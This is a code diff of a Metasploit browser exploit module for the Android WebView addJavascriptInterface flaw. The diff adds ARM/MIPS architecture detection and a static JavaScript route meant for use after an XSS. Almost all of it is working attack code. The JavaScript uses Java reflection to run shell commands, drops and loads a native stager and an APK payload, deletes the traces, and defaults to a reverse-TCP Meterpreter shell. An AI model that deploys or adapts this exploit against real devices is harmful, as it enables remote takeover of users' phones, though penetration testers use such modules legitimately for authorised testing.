7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
10
- include Msf ::Exploit ::Remote ::HttpServer :: HTML
10
+ include Msf ::Exploit ::Remote ::BrowserExploitServer
11
11
include Msf ::Exploit ::Remote ::BrowserAutopwn
12
12
13
- autopwn_info ( {
14
- :os_flavor => "Android" ,
15
- :arch => ARCH_ARMLE ,
13
+ # Since the NDK stager is used, arch detection must be performed
14
+ SUPPORTED_ARCHES = [ ARCH_ARMLE , ARCH_MIPSLE ] # todo: , ARCH_X86 ]
15
+
16
+ # Most android devices are ARM
17
+ DEFAULT_ARCH = ARCH_ARMLE
18
+
19
+ # Some of the default NDK build targets are named differently than
20
+ # msf's builtin constants. This mapping allows the ndkstager file
21
+ # to be looked up from the msf constant.
22
+ NDK_FILES = {
23
+ ARCH_ARMLE => 'armeabi' ,
24
+ ARCH_MIPSLE => 'mips'
25
+ }
26
+
27
+ autopwn_info (
28
+ :os_flavor => 'Android' ,
16
29
:javascript => true ,
17
30
:rank => ExcellentRanking ,
31
+
32
+ # The Android 4.0 shell is different than other versions of android
33
+ # in that the echo builtin does not allow the \x hex encoding syntax.
34
+ # Android 4.0 is still vulnerable to the Java reflection exploit, but
35
+ # until we find a way to drop and run the payload, we can't support
36
+ # it as a target.
18
37
:vuln_test => %Q|
19
- for (i in top) {
20
- try {
21
- top[i].getClass().forName('java.lang.Runtime');
22
- is_vuln = true; break;
23
- } catch(e) {}
38
+ if (!navigator.userAgent.match(/Android 4\. 0;/)) {
39
+ for (i in top) {
40
+ try {
41
+ top[i].getClass().forName('java.lang.Runtime');
42
+ is_vuln = true; break;
43
+ } catch(e) {}
44
+ }
24
45
}
25
46
|
26
- } )
47
+ )
27
48
28
49
def initialize ( info = { } )
29
50
super ( update_info ( info ,
30
- 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution' ,
31
- 'Description' => %q{
51
+ 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution' ,
52
+ 'Description' => %q{
32
53
This module exploits a privilege escalation issue in Android < 4.2's WebView component
33
54
that arises when untrusted Javascript code is executed by a WebView that has one or more
34
55
Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
@@ -46,72 +67,92 @@ def initialize(info = {})
46
67
47
68
Note: Adding a .js to the URL will return plain javascript (no HTML markup).
48
69
} ,
49
- 'License' => MSF_LICENSE ,
50
- 'Author' => [
70
+ 'License' => MSF_LICENSE ,
71
+ 'Author' => [
51
72
'jduck' , # original msf module
52
73
'joev' # static server
53
74
] ,
54
- 'References' => [
75
+ 'References' => [
55
76
[ 'URL' , 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/' ] ,
56
77
[ 'URL' , 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/' ] ,
57
78
[ 'URL' , 'http://50.56.33.56/blog/?p=314' ] ,
58
79
[ 'URL' , 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/' ] ,
59
80
[ 'URL' , 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py' ]
60
81
] ,
61
- 'Platform' => 'android' ,
62
- 'Arch' => ARCH_DALVIK ,
63
- 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' , } ,
64
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
65
- 'DisclosureDate' => 'Dec 21 2012' ,
66
- 'DefaultTarget' => 0 ,
82
+ 'Platform' => 'android' ,
83
+ 'Arch' => ARCH_DALVIK ,
84
+ 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' } ,
85
+ 'Targets' => [ [ 'Automatic' , { } ] ] ,
86
+ 'DisclosureDate' => 'Dec 21 2012' ,
87
+ 'DefaultTarget' => 0 ,
67
88
'BrowserRequirements' => {
68
- :source => 'script' ,
69
- :os_flavor => "Android" ,
70
- :arch => ARCH_ARMLE
89
+ :source => 'script' ,
90
+ :os_flavor => 'Android'
71
91
}
72
92
) )
73
93
end
74
94
95
+ # Hooked to prevent BrowserExploitServer from attempting to do JS detection
96
+ # on requests for the static javascript file
75
97
def on_request_uri ( cli , req )
76
- if req . uri . end_with? ( 'js' )
77
- print_status ( "Serving javascript" )
78
- send_response ( cli , js , 'Content-type' => 'text/javascript' )
98
+ if req . uri =~ /\. js/
99
+ serve_static_js ( cli , req )
79
100
else
80
- print_status ( "Serving exploit HTML" )
81
- send_response_html ( cli , html )
101
+ super
82
102
end
83
103
end
84
104
85
- def ndkstager ( stagename )
86
- localfile = File . join ( Msf ::Config ::InstallRoot , 'data' , 'android' , 'libs' , 'armeabi' , 'libndkstager.so' )
105
+ # The browser appears to be vulnerable, serve the exploit
106
+ def on_request_exploit ( cli , req , browser )
107
+ arch = normalize_arch ( browser [ :arch ] )
108
+ print_status "Serving #{ arch } exploit..."
109
+ send_response_html ( cli , html ( arch ) )
110
+ end
111
+
112
+ # The NDK stager is used to launch a hidden APK
113
+ def ndkstager ( stagename , arch )
114
+ localfile = File . join ( Msf ::Config ::InstallRoot , 'data' , 'android' , 'libs' , NDK_FILES [ arch ] || arch , 'libndkstager.so' )
87
115
data = File . read ( localfile , :mode => 'rb' )
88
116
data . gsub! ( 'PLOAD' , stagename )
89
117
end
90
118
91
- def js
119
+ def js ( arch )
92
120
stagename = Rex ::Text . rand_text_alpha ( 5 )
93
- %Q|
121
+ script = %Q|
94
122
function exec(obj) {
95
123
// ensure that the object contains a native interface
96
124
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
97
125
98
126
// get the pid
99
- var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null);
127
+ var pid = obj.getClass()
128
+ .forName('android.os.Process')
129
+ .getMethod('myPid', null)
130
+ .invoke(null, null);
100
131
101
132
// get the runtime so we can exec
102
- var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
103
- var runtime = m.invoke(null, null);
133
+ var runtime = obj.getClass()
134
+ .forName('java.lang.Runtime')
135
+ .getMethod('getRuntime', null)
136
+ .invoke(null, null);
137
+
138
+ // libraryData contains the bytes for a native shared object built via NDK
139
+ // which will load the "stage", which in this case is our android meterpreter stager.
140
+ // LibraryData is loaded via ajax later, because we have to access javascript in
141
+ // order to detect what arch we are running.
142
+ var libraryData = "#{ Rex ::Text . to_hex ( ndkstager ( stagename , arch ) , '\\\\x' ) } ";
143
+
144
+ // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
145
+ // another stager which loads android meterpreter from the msf handler.
104
146
var stageData = "#{ Rex ::Text . to_hex ( payload . raw , '\\\\x' ) } ";
105
- var libraryData = "#{ Rex ::Text . to_hex ( ndkstager ( stagename ) , '\\\\x' ) } ";
106
147
107
148
// get the process name, which will give us our data path
108
149
// $PPID does not seem to work on android 4.0, so we concat pids manually
109
150
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
110
151
var ch, path = '/data/data/';
111
152
while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); }
153
+
112
154
var libraryPath = path + '/lib#{ Rex ::Text . rand_text_alpha ( 8 ) } .so';
113
155
var stagePath = path + '/#{ stagename } .apk';
114
- var dexPath = path + '/#{ stagename } .dex';
115
156
116
157
// build the library and chmod it
117
158
runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
@@ -121,19 +162,80 @@ def js
121
162
runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
122
163
runtime.exec(['chmod', '700', stagePath]).waitFor();
123
164
165
+ // load the library (this fails in x86, figure out why)
124
166
runtime.load(libraryPath);
167
+
168
+ // delete dropped files
125
169
runtime.exec(['rm', stagePath]).waitFor();
126
170
runtime.exec(['rm', libraryPath]).waitFor();
127
- runtime.exec(['rm', dexPath]).waitFor();
128
171
129
172
return true;
130
173
}
131
174
132
- for (i in top) { if (exec(top[i]) === true) break; }
175
+ if (!navigator.userAgent.match(/Android 4\. 0;/)) {
176
+ for (i in top) { if (exec(top[i]) === true) break; }
177
+ }
133
178
|
179
+
180
+ # remove comments and empty lines
181
+ script . gsub ( /\/ \/ .*$/ , '' ) . gsub ( /^\s *$/ , '' )
182
+ end
183
+
184
+ # Called when a client requests a .js route.
185
+ # This is handy for post-XSS.
186
+ def serve_static_js ( cli , req )
187
+ arch = req . qstring [ 'arch' ]
188
+ response_opts = { 'Content-type' => 'text/javascript' }
189
+
190
+ if arch . present?
191
+ print_status ( "Serving javascript for arch #{ normalize_arch arch } " )
192
+ send_response ( cli , js ( normalize_arch arch ) , response_opts )
193
+ else
194
+ print_status ( "Serving arch detection javascript" )
195
+ send_response ( cli , static_arch_detect_js , response_opts )
196
+ end
197
+ end
198
+
199
+ # This is served to requests for the static .js file.
200
+ # Because we have to use javascript to detect arch, we have 3 different
201
+ # versions of the static .js file (x86/mips/arm) to choose from. This
202
+ # small snippet of js detects the arch and requests the correct file.
203
+ def static_arch_detect_js
204
+ %Q|
205
+ var arches = {};
206
+ arches['#{ ARCH_ARMLE } '] = /arm/i;
207
+ arches['#{ ARCH_MIPSLE } '] = /mips/i;
208
+ arches['#{ ARCH_X86 } '] = /x86/i;
209
+
210
+ var arch = null;
211
+ for (var name in arches) {
212
+ if (navigator.platform.toString().match(arches[name])) {
213
+ arch = name;
214
+ break;
215
+ }
216
+ }
217
+
218
+ if (arch) {
219
+ // load the script with the correct arch
220
+ var script = document.createElement('script');
221
+ script.setAttribute('src', '#{ get_uri } /#{ Rex ::Text ::rand_text_alpha ( 5 ) } .js?arch='+arch);
222
+ script.setAttribute('type', 'text/javascript');
223
+
224
+ // ensure body is parsed and we won't be in an uninitialized state
225
+ setTimeout(function(){
226
+ var node = document.body \| \| document.head;
227
+ node.appendChild(script);
228
+ }, 100);
229
+ }
230
+ |
231
+ end
232
+
233
+ # @return [String] normalized client architecture
234
+ def normalize_arch ( arch )
235
+ if SUPPORTED_ARCHES . include? ( arch ) then arch else DEFAULT_ARCH end
134
236
end
135
237
136
- def html
137
- "<!doctype html><html><body><script>#{ js } </script></body></html>"
238
+ def html ( arch )
239
+ "<!doctype html><html><body><script>#{ js ( arch ) } </script></body></html>"
138
240
end
139
241
end
0 commit comments